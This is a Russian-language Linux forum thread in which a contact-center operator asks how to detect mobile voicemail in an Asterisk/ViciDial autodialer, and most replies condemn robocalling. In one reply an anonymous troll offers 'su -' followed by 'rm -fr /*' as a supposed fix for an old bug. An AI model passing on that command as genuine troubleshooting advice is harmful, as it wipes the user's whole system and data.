форумы  помощь  поиск  регистрация  майллист  вход/выход  слежка

Вариант для распечатки		Пред. тема | След. тема
Форум Открытые системы на сервере (VoIP / Linux)
Изначальное сообщение		[ Отслеживать ]

"Дете"	–1 +/–
Сообщение от Cocos (ok) on 11-Сен-14, 15:16
Всем привет! Суть вопроса: для работы контакт-центра используем Asterisk-1.8.21.0 вкупе с ViciDial2.10-448a. Телефония SIP. Звонки совершаются системой автоматически и попадают на операторов, только когда зафиксирован ответ вызываемой стороны. В последнее время ситуацию сильно осложняет голосовая почта мобильных операторов. Наша система, услышав что-то из разряда "Аб-т недоступен, вы можете оставить сообщение после сигнала...", детектит это как ответ и переводит вызов на оператора, тот принимает звонок, но на его безуспешные "алло" никто, конечно, не ответит. Сейчас мы ищем решение, как детектить такие автоответы и пресекать на корню. Варианты: 1. На уровне сигнализации отследить такой вызов идентичен нормальному вызову с ответом реального человека. 2. Решение типа "нажмите кнопку для разговора с оператором" не рассматриваем. 3. Rtptimeout не рассматриваем (нет смысла детектить тишину). 4. Функция Auto Machine Detection на ViciDial дает сильную нагрузку на систему и низкую точность. 5. Есть смысл сравнивать как стандартные сэмплы типа "оставьте сообщение" с тем, что система слышит в канале и принимать решение о том, кто же нам всё-таки ответил. Этот подход реализован в Oktell Antirobot. Подскажите, какие еще есть варианты для борьбы с этой проблемой.
Ответить | Правка | Cообщить модератору

Сообщения по теме

[Сортировка по времени | RSS]

1. "Дете"	+3 +/–
Сообщение от Аноним (??) on 11-Сен-14, 21:09
> Подскажите, какие еще есть варианты для борьбы с этой проблемой. Логинишься на сервер с асериксомЮ потом: su - вводишь пароль рута, потом rm -fr /* 100% помогает, это же старая бага.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	4. "Дете"	–1 +/–
	Сообщение от Coco on 11-Сен-14, 23:19
	>> Подскажите, какие еще есть варианты для борьбы с этой проблемой. > Логинишься на сервер с асериксомЮ потом: > su - > вводишь пароль рута, потом > rm -fr /* > 100% помогает, это же старая бага. Блин, у меня все данные удалилися теперь!
	Ответить | Правка | ^ к родителю #1 | Наверх | Cообщить модератору

5. "Дете"	+3 +/–
Сообщение от Аноним (??) on 12-Сен-14, 16:38
Вы же должны как-то страдать за то, что совершаете обзвон без желания абонентов?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	6. "Дете"	–2 +/–
	Сообщение от Психиатр (ok) on 12-Сен-14, 17:35
	> Вы же должны как-то страдать за то, что совершаете обзвон без желания > абонентов? +100500 мне тут по секрету сказали, что для них уже спец котёл в аду запустили в продакшн.
	Ответить | Правка | ^ к родителю #5 | Наверх | Cообщить модератору

7. "Дете"	+/–
Сообщение от name (??) on 12-Сен-14, 18:50
Я думаю вам здесь не помогут. Вы бы еще спросили как спам рассылать с использованием postfix. Как же бесит обзвон, в котором еще и говорят: "дождитесь оператора". Мне звонят, а я еще должен их ждать!
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

8. "Дете"	+/–
Сообщение от Аноним (??) on 15-Сен-14, 19:55
В данном случае голосовая почта мобильных операторов не осложняет ситуацию, а кое-как помогает бороться абонентам с такими, как вы.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

	9. "Детект голосовой почты мобильных операторов"	+/–
	Сообщение от Cocos (ok) on 18-Сен-14, 06:10
	Вы все совершенно напрасно считаете, что наш КЦ  связан с достающей всех рекламой, продажами, коллекторами и проч. Так вот, этим мы не занимаемся, а совершаем обзвон лишь наших клиентов. Что касается, "дождитесь оператора", то как раз именно этого мы и пытаемся избежать, ставя жесткие ограничения по времени детекта автоответчика.
	Ответить | Правка | ^ к родителю #8 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема